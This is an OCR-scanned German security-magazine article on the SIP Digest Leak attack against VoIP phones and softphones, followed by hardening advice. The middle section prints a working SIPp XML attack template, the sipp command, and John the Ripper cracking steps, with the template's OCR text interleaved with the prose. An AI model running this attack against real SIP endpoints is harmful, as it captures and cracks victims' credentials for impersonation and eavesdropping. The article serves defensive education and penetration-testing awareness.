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VolP-Security — Expertenwissen fiir die Praxis

SIP Digest Leak:
Angritt aut SIP-Konten

Der Artikel beschreibt detailliert einen SIP-spezifischen Angriff auf VolP-Systeme
und die Mdéglichkeit fir Angreifer, damit an die SIP-Zugangsdaten zu gelangen.
Im Weiteren werden Hartungs- und SchutzmaBnahmen behandelt, die derartigen

Angriffen entgegenwirken.

Jeden Tag finden unzahlige Angriffe auf IT-
Systeme und -Infrastrukturen statt. Neben
klassischen Ransomware-Angriffen, auch
Kryptotrojaner genannt, die das Ziel verfol-
gen, Daten zu verschlUsseln, um diese an-
schlieBend nach Zahlung eines entsprechen-
den Losegeldes wiederherzustellen, sind
auch VolP-Systeme lukrative Ziele fur An-
greifer.

Da es sich bei VoIP-Telefonen oft um voll-
wertige Linux-Systeme handelt, besteht eine
maogliche Angreifermotivation beispielswei-
se darin, VolP-Telefone zu kompromittieren,
um diese einem sogenannten Botnetz an-
zuschlieBen und letztendlich mit diesem
Netzwerk, bestehend aus kontrollierten

Systemen, Angriffe auf grof3e Plattformen
oder Unternehmensinfrastrukturen durch-
zuftihren. Auch das Abhéren von vertrau-
lichen Gesprachen und die damit verbun-
dene Verletzung der Vertraulichkeit sind bei
Angreifern eine verbreitete Vorgehenswei-
se vor allem bei gezielten Attacken.

Dieser Artikel beschreibt die technischen
Details eines Angriffes gegen SIP-basierte
Endgerdte wie z.B. IP-Telefone oder Soft-
phones und die Moglichkeit fir Angreifer,
dadurch an SIP-Kennwérter und Zugangs-
daten zu gelangen. Im weiteren Verlauf des
Artikels werden Hartungs- und SchutzmaB-
nahmen beschrieben, die derartigen An-
griffen entgegenwirken.
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Der SIP-Digest-Leak-Angriff ermdglicht es
einem entfernten Angreifer, die SIP-Au-
thentifizierung und das darin enthaltene
SIP-Kennwort des Opfers als Hash — also
nicht als Klartext — durch einen einzelnen
Anruf zu erlangen. Mit dieser Information
ist der Angreifer anschlieBend in der Lage,
einen Offline-Passwort-Rateangriff durch-
zufthren und, wenn dieser erfolgreich ist,
das Klartextpasswort des anvisierten SIP-
Kontos zu erhalten.

Der Angriff stellt daher insbesondere in
Verbindung mit schwachen Kennwaortern
ein erhebliches Sicherheitsrisiko fur SIP-ba-
sierte Systeme dar.



Klassisches SIP-Gesprach

Bei einem klassischen SIP-Gesprach sendet
der Anrufer einen SIP INVITE Request an das
gewahlte Anrufziel. Das angerufene System
sendet anschlieBend z.B. eine »100 Try-
ing«- und »180 Ringing«-Antwort an den
Anrufer zurtick und bestatigt damit den
Versuch, die SIP-Nachricht zu verarbeiten,
bzw. das Klingeln des Telefons. Nimmt der
Angerufene schlieBlich den Anruf entge-
gen, so sendet dieser eine »200 OK«-Ant-
wort an den Anrufer und signalisiert damit
die Gesprachsannahme — die Gesprachsver-
bindung ist aufgebaut. Beendet nun einer
der Gesprachsteilnehmer den Anruf, so
sendet das jeweilige Telefon einen BYE Re-
quest an den Gesprachspartner. Der Emp-
fanger dieser Nachricht bestatigt dies durch
eine »200 OK«-Antwort — das Gesprach ist
beendet. Die SIP-Flow-Sequenz eines sol-
chen exemplarischen SIP-Gesprachs ist in
Bild 1 dargestellt.

SIP Digest Authentication

Fir die SIP-Kommunikation eines User
Agent Client (UAC), z. B. eines SIP-Telefons,
zu einem User Agent Server (UAS), z.B.
einer Telefonanlage, wird Ublicherweise
eine Authentifizierung gefordert. Dies
schutzt vor ungewollten Angriffsmoglich-
keiten, wie z. B. der Identitatsvortdusuchung
als zulassiger Benutzer (»Impersonieren«
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A Bild 1: SIP Call Flow

von Benutzern) oder dem illegitimen Fuhren
von Gesprachen.

Als Vertrauensbasis werden in der Praxis
gerne klassische Zugangsdaten, bestehend
aus einem Benutzernamen und einem Pass-
wort, fir die Authentifizierung verwendet.
Damit diese vertraulichen Informationen
auch bei unverschlisselter SIP-Kommunika-
tion nicht im Klartext Gber das prinzipiell als
unsicher anzusehende Netzwerk Ubertragen
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werden, kommt hier die sogenannte Digest-
Authentication-Methode zum Einsatz.
Diese Methode nutzt ein Challenge-Res-
ponse-Verfahren, sodass das Passwort im-
mer in gehashter und niemals in der Ur-
sprungsform Gbertragen wird. Weitere
Vorteile dieser Methode sind der Schutz
gegen sogenannte Replay-Angriffe, bei
denen die SIP-Pakete von Angreifern erneut
versendet werden, um so z.B. Aktionen im
Kontext des Opfers auszuftihren, sowie die
Unterbindung des ungewollten Auftau-
chens von Passwortern in Fehlerlogs oder
Analyseberichten.

Bild 2 zeigt eine exemplarische SIP-Flow-
Sequenz einer Digest Authentication.

Die Response des UAC setzt sich dabei
wie folgt zusammen:

Hashl = MD5(Benutzername:
Realm:Passwort)

Hash2 = MD5(SIP-Request-
Methode:SIP URI)

Response =
MD5 (Hashl:Nonce:Hash2)

Denken wie ein Hacker

Ein Hacker zeichnet sich vor allem durch
seine hervorragende Fahigkeit aus, tUber den
Tellerand hinauszublicken (»thinking out-
side the box«) und z.B. Systeme so zu ver-
wenden, wie es von den Entwicklern nicht
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A Bild 3: SIP Digest Leak

gedacht ist. Der SIP-Digest-Leak-Angriff ist
ein Paradebeispiel einer solchen abnorma-
len »Benutzung« bzw. Ausnutzung von
Systemen und Technologien.

So ist die Idee dieses Angriffes, das Opfer-
system dazu zu veranlassen, sich gegentber
dem Angreifer zu authentifizieren. Einer der
praktikabelsten Wege, eine solche Authen-
tifizierung zu provozieren, ist ein klassischer
SIP-Anruf beim Opfersystem, mit dem klei-
nen, aber entscheidenden Unterschied, dass
der Angreifer auf einen BYE Request des
Opfers nicht mit einer »200 OK«-, sondern
mit einer »407 Proxy Authentication Requi-
red«-Response antwortet. Ist die SIP-Imple-
mentierung des Opfersystems anfallig, so
wird es anschlieBend versuchen, sich gegen-
Uber dem Angreifer zu authentifizieren.
Dies fuhrt dazu, dass der Angreifer eine
valide Digest Authentication des Opfers er-
halt, welche als Basis fur weitere Angriffe
verwendet werden kann.

Bild 3 zeigt die SIP-Flow-Sequenz eines
SIP-Digest-Leak-Angriffs.

Exploitation

Fir die praktische Ausnutzung, die soge-
nannte Exploitation, benétigt der Angreifer
ein entsprechendes Tool (oder Skript), wel-
ches eine solche manipulierte Anrufabfolge
erméglicht. Das sehr umfangreiche Open-
Source-Tool SIPp ermdglicht es anhand von

XML-Templates, SIP-Abfolgen und Testsze-
narien zu definieren, und bietet daher eine
hohe Flexibilitat. Das Tool, welches ur-
sprunglich fur Funktionstests von SIP-Im-
plementierungen entwickelt wurde, ist
daher duBerst gut fur die Ausnutzung des
SIP-Digest-Leak-Angriffs geeignet.

Das XML-Template in Bild 4 beinhaltet
das entsprechende Szenario fur die Exploi-
tation. Mithilfe dieses Templates kann der
Angriff durchgefiihrt werden:

sipp 192.168.122.168:5060 -sf
uac_digest leak.xml -s 100

Der obige Aufruf fihrt zum Angriff des SIP-
Endgerats mit der IP-Adresse »192.168.
122.168« auf dem UDP Port 5060 mit dem
SIP-Zieluser » 100«.

Bild 5 zeigt das angegriffene SIP-Soft-
phone Linphone und den vermeintlich legi-
timen Anruf.

Nach der Annahme des Anrufs durch das
Opfer sendet der Angreifer keinerlei RTP-
Pakete, also Medieninhalte wie z.B. einen
Audiostream, sodass auf der Seite des Op-
fers nichts zu horen ist. Da einseitige oder
sonstige fehlerhafte Medientbertragung
keine Seltenheit in der VolP-Welt darstellt,
beendet das Opfer in der Regel ohne Miss-
trauen das Gesprach.
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Zu diesem Zeitpunkt ist die Exploitation er-
folgreich und der Angreifer erhalt, wie in
Bild 6 dargestellt, eine valide Digest Au-
thentication des Opfers.

Digest Authentication -

und jetzt?

Mit der Digest Authentication und dem da-
rin enthaltenen Passwort-Hash allein hat der
Angreifer noch keine Mdglichkeit, diese
Daten aktiv zu nutzen. Da die SIP Digest
Authentication zusatzlich die genutzte SIP-
Request-Methode, auf die die Authentifi-
zierung folgt, beinhaltet, ist eine Durchfuh-
rung von sogenannten Relay-Angriffen, wie
sie z.B. in einer Windows-Infrastruktur
maoglich waren, nicht praktikabel.

Da die verwendeten Passworter von SIP-
Konten meist eine sehr niedrige Qualitat
aufweisen, ist ein Offline-Passwort-Ratean-
griff gegen den in Erfahrung gebrachten
Passwort-Hash haufig erfolgreich. Vor allem
kurze Passworter (mit weniger als zehn Zei-
chen) sind heutzutage auch mit Standard-
notebooks mit geringem zeitlichem Auf-
wand knackbar. Der unter SIP verwendete,
aber als veraltet geltende Hash-Algorithmus
MD?5 steigert zusatzlich die Effektivitat eines
solchen Passwort-Rateangriffs.

Fur einen solchen Offline-Passwort-Rate-
angriff kdnnen Open-Source-Tools wie z.B.
JohnTheRipper herangezogen werden. Der
Passwort-Cracker nutzt dabei verschiedene
Eingabewerte wie z.B. die Zeilen einer
Wortliste und errechnet auf Basis dieses Ein-
gabewerts den dazugehorigen Passwort-
Hash. Stimmt der errechnete Hash-Wert mit
dem zu knackenden Hash Uberein, so ent-
spricht der Eingabewert dem Passwort — der
Angriff war erfolgreich.

Damit der Passwort-Cracker diese Berech-
nungen durchfthren kann, muss die in Er-
fahrung gebrachte Digest Authentication
zuerst in eine flr das Tool verstandliche
Form gebracht werden:

Opfer:$sip$***100*asterisk*INVI-
TE*sip*sipp@192.168.122.1*5060%6
9d327e5****MD5*f7ba365573a-
32dalc5dea7c5a72ac9%4c

1) NTLM-Relay-Angriff: https://blog.fox-it.
com/2017/05/09/relaying-credentials-every
where-with-ntimrelayx/
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<?xml version="1.0" encoding="IS0O-8859-1" ?>

<IDOCTYPE scenario SYSTEM "sipp.dtd"> Dieser String wird in einer einfachen TXT-
<scenario name="SIP digest leak test"> Datei gespeichert und dem Passwort-Cra-
< =" "> .
send retrans="500 ckerubergeben:
<![CDATA[
INVITE sip:[service]@[remote ip]:[remote port] SIP/2.0 john --format=SIP zu_cracken.txt

Via: SIP/2.0/[transport] [local_ ip]:[local_ port];branch=[branch]
From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_ number]

To: sut <sip:[service]@[remote ip]:[remote port]> Durch die zusatzliche Optimierung des Pass-
Call-ID: [call_id] wort-Crackers mittels Angabe von Wort-
cseq: 1 INVITE , listen, Passwortmasken und Formatierungs-
Contact: sip:sipp@[local_ip]:[local_ port] . X . X

Max—Forwards: 70 regeln wird die Effektivitat weiter gesteigert.
Subject: Performance Test Bei der erfolgreichen Berechnung des
Content-Type: application/sdp korrekten Hash-Werts gibt das Tool das

Content-Length: [len] .
Passwort in der Standardausgabe aus:

v=0

o=userl 53655765 2353687637 IN IP[local_ip type] [local_ ip] john --format=SIP /tmp/zu

5== cracken.txt

c=IN IP[media ip type] [media ip] Loaded 1 password hash (SIP [MD5

t=0 0

m=audio [media port] RTP/AVP 0 32/64])

a=rtpmap:0 PCMU/8000 113456 (Opfer)

Session completed.
11>

wEEne o0 Kennt der Angreifer das Passwort, so kann
recv response="100" . .. .

e T e T er die SIP-Zugangsdaten fur weitere Angrif-
</recv> fe ausnutzen (»Post-Exploitation«). Die
<];e°V HEEgonEE= 180" @ptlenel = e Moglichkeiten sind dabei zahlreich: So
</recv> . 5 ., .
<recv response="200" rtd="true"> konnte der Angreifer sich z.B. mit den Zu-
</recv> gangsdaten am SIP-Registrar registrieren,
Eemel> um sich als das Opfer auszugeben (»Imper-

<! [CDATA . .
: [ sonierung«). Auch das Einrichten von Ruf-
ACK sip:[service]@[remote ip]:[remote port] SIP/2.0 umleitungen, das Weiterleiten und Abhéren
Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch] von vertraulichen Gespréchen oder die De-

From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
To: sut <sip:[service]@[remote ip]:[remote port]>[peer tag param]
Call-ID: [call id] moglich.
CSeqg: 1 ACK

registrierung des legitimen Clients sind nun

Contact: sip:sipp@[local_ip]:[local_port] P
Max-Forwards: 70 Hartungsmaenahmen ) ]
Subject: Performance Test Beim Lesen dieses Artikels haben Sie sich
Content-Length: 0 womoglich bereits gefragt, welche MaB-
11> nahmen ergriffen werden kénnen, um ei-
</send> nen solchen oder ahnlichen Angriff zu ver-
<recv request="BYE"></recv> hindern.
<send> . .
<1/ [CDATAY .Bevor naher guf ellnzelne MaBnahmen
eingegangen wird, sei erwahnt, dass keine
SIP/2.0 407 Proxy Authentication Required MaBnahme flr sich den a”einigen Schutz
last Via: .
[last_Via:] darstellen sollte. In jedem Fall zu bevorzu-
[last_From: ] . . . L
[last_To:] gen ist eine tiefengestaffelte Verteidigungs-
[last Call-ID:] strategie (»defense in depth«), welche meh-
last 8 .
[1last_CSeq:] , . . N rere SicherheitsmaBnahmen umfasst. Kann
WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", ]
nonce="69d327e5" eine SchutzmaBnahme umgangen werden,
Content-Length: 0 so greift die néchste.

. Der Autor dieses Artikels weist darauf hin,
</ dass die Absicherung von UC-Systemen und
<recv request="BYE"></recv> Infrastrukturen einen nicht zu unterschat-

ST zenden Aufwand darstellt. SchutzmaBnah-
men nachtréglich zu implementieren und
A Bild 4: Xl\/lL—TempIate zum SIP—Digest—Leak—Angriff umzusetzen, bedeutet meist einen nicht
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Bild 5: Eingehender Anruf

unerheblichen Mehraufwand und kénnte
zu Kompatibilitdtsproblemen fuhren. Es
wird daher empfohlen, die Umsetzung einer
zuvor definierten und bereits etablierten
Sicherheitsstrategie bereits bei der Planung
und Konzeption von UC-Installationen zu
berticksichtigen. Mit einem anschlieBenden
Penetrationstest kénnen die Sicherheits-
maBnahmen Uberprift und bewertet wer-
den.

Die Passwortqualitat bei VolP-Systemen ist
erfahrungsgemaB erschreckend schlecht.
Sehr leicht zu erratende Passworter wie
» 1234« oder »0000« sind keine Selten-
heit.

Aber auch ein komplex wirkendes Pass-
wort wie »GU3#!C9« bietet heutzutage
aufgrund der geringen Lange keinen aus-
reichenden Schutz vor automatisierten Pass-
wort-Rateangriffen. Fr sichere Passworter
gilt: Lange schlagt Komplexitat. Ein Pass-
wort mit einer Mindestlange von 16 Zeichen

Bild 6: Digest Authentication
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z.B. bietet ein hohes Sicherheitsniveau. Bei
der Passwortwahl sollte zusatzlich darauf
geachtet werden, dass es sich z.B. nicht um
ein bekanntes Wort oder eine Zahlenfolge
handelt.

Ein weiteres Sicherheitsproblem ist die
Wiederverwendung von Passwortern. So
werden Zugangsdaten oder Administrati-
onspassworter von Telefonsystemen in der
Praxis gerne flachendeckend ausgerollt und
angewandt. Das macht die alltéagliche Ad-
ministration zwar recht angenehm, birgt
jedoch die Gefahr, dass ein Angreifer groBe
Teile der VolP-Infrastruktur unter Kontrolle
bringen kann, sobald ein einzelnes Gerat
erfolgreich kompromittiert worden ist.

Um diesen Problemen entgegenzuwirken,
empfiehlt sich daher, ein Konzept zur Ver-
wendung von individuellen und generischen
Zugangsdaten zu definieren.

Werden entsprechend sichere und indi-
viduelle Passworter verwendet, so sind die
Erfolgsaussichten von Passwort-Rateangrif-
fen minimal.

K. tpzBfgNBL ; rport
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Die Frage nach der Erreichbarkeit von SIP-
Diensten fuhrt hdufig zu Missverstandnis-
sen. Bei Systemen, die ausschlieBlich als
UAC agieren, missen SIP-Dienste nicht Gber
das Netzwerk erreichbar sein. Registriert
sich ein UAC am UAS, so wird der UAS in-
nerhalb der Sitzung dieses Registrierungs-
vorgangs kommunizieren.

Ein anschauliches Beispiel ist ein Session
Border Controller (SBC) bzw. ein Back-to-
Back User Agent (B2BUA), der aus Sicht
eines Internet Telephony Service Provider
(ITSP) als UAC agiert und sich mit den SIP-
Zugangsdaten beim Provider registriert. Die
Erreichbarkeit aus dem Internet des eigenen
SIP-Serverdienstes des SBC ist dabei nicht
notwendig, da auch eingehende Verbin-
dungen immer in derselben Sitzung (TCP-
Session) Ubertragen werden. Um diese Sit-
zung auch Uber einen langeren Zeitraum
ohne Anrufaufkommen aufrechtzuerhalten,
registriert sich der UAC in einem definierten
Intervall regelmaBig am UAS.

Ist der SIP-Dienst fur Angreifer nicht er-
reichbar, kann dieser nicht attackiert wer-
den. Die Restriktion der Erreichbarkeit un-
notiger SIP-Dienste und die damit
verbundene Minimierung der Angriffsflache
sind daher eine duBerst wirksame Schutz-
maBnahme.

Eine weitere auBerst wichtige Schutzmaf-
nahme ist die ausschlieBliche Verwendung
kryptografisch geschutzter Protokolle. Fur
VolP sind dies vor allem die beiden Proto-
kolle SIP-over-TLS (SIPS) und Secure RTP
(SRTP). Wird die Kommunikation durch die-
se Protokolle geschutzt, so sind, bei korrek-
ter Implementierung, die Vertraulichkeit
und die Integritat der Nutzdaten auch bei
Man-in-the-Middle-Angriffen gewahrleis-
tet.

Die Wirksamkeit dieser SchutzmaBnahme
steht und fallt jedoch mit der Vertrauens-
stellung. Damit die Systeme die Identitat des
GegenUbers verifizieren kénnen, werden
meist X.509-Zertifikate verwendet. Haufig
vertrauen VolP-Systeme in der Standardein-
stellung aufgrund maximaler Kompatibilitat
jedoch jeglichen oder auch selbst signierten
X.509-Zertifikaten. Dies flihrt dazu, dass ein
Angreifer in passender Man-in-the-Middle-



Position sich als das angefragte Zielsystem
ausgeben kann und so die Kommunikation
einsehen und manipulieren kénnte.

Es ist daher dringendst empfohlen, die
Identitat der jeweiligen Systeme zu verifi-
zieren. Eine praktikable Moglichkeit ist da-
bei die Verwendung einer vertrauten Zerti-
fizierungsstelle.

Neben dem Schutz der Netzwerkkommu-
nikation bietet die Verwendung von SIPS
zugleich eine sehr gute, aber eher weniger
verbreitete Authentifizierungsmoglichkeit.
Bei dieser Authentifizierungsmethode (Mu-
tual TLS) weist der Client mithilfe eines
X.509-Zertifikats die eigene Identitdt nach
und authentisiert sich mit diesem gegen-
Uber dem SIP-Registrar. Vertraut der SIP-Re-
gistrar diesem Zertifikat, z.B. weil es von
einer vertrauten Zertifizierungsstelle signiert
wurde, so ist die Authentifizierung erfolg-
reich.

Hierbei ist jedoch darauf zu achten, &hn-
lich wie bei Passwortern, je Gerat ein indi-

viduelles Client-Zertifikat zu verwenden. Gilt
ein Client-Zertifikat als kompromittiert, z. B.
weil das Gerat gestohlen wurde, so kann es
mithilfe einer Certificate Revocation List
(CRL) zurtickgezogen werden. Die erfolg-
reiche Authentisierung ist mit diesem Zerti-
fikat danach nicht mehr méglich.

Fazit
Kommunikationssysteme stellen fir Angrei-
fer aufgrund des meist vollumfanglichen
Betriebssystems und der verhaltnismaBig
geringen Absicherung lukrative Ziele dar.
Der in diesem Artikel exemplarisch beschrie-
bene Angriff zeigt, wie Angreifer vorgehen,
um z.B. an SIP-Zugangsdaten zu gelangen.
Die Definition und Umsetzung einer geeig-
neten Verteidigungsstrategie sind daher
unumganglich. Beinhaltet diese Verteidi-
gungsstrategie u.a. die in diesem Artikel
empfohlenen SchutzmaBnahmen, so lassen
sich derartige Angriffe effektiv verhindern.
| |
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